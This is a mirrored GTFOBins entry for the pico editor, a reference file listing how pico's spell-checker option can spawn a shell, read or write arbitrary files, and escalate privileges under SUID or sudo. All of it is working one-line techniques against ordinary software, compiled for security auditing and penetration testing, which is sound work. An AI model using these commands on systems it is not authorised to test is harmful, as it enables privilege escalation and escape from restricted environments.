mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
32 lines
557 B
Markdown
32 lines
557 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'exec sh' > $TF
|
|
chmod +x $TF
|
|
pico -s $TF /etc/hosts
|
|
^T
|
|
file-write:
|
|
- code: |
|
|
pico file_to_write
|
|
DATA
|
|
^O
|
|
file-read:
|
|
- code: pico file_to_read
|
|
suid:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'exec sh -p' > $TF
|
|
chmod +x $TF
|
|
./pico -s $TF /etc/hosts
|
|
^T
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'exec sh' > $TF
|
|
chmod +x $TF
|
|
sudo pico -s $TF /etc/hosts
|
|
^T
|
|
---
|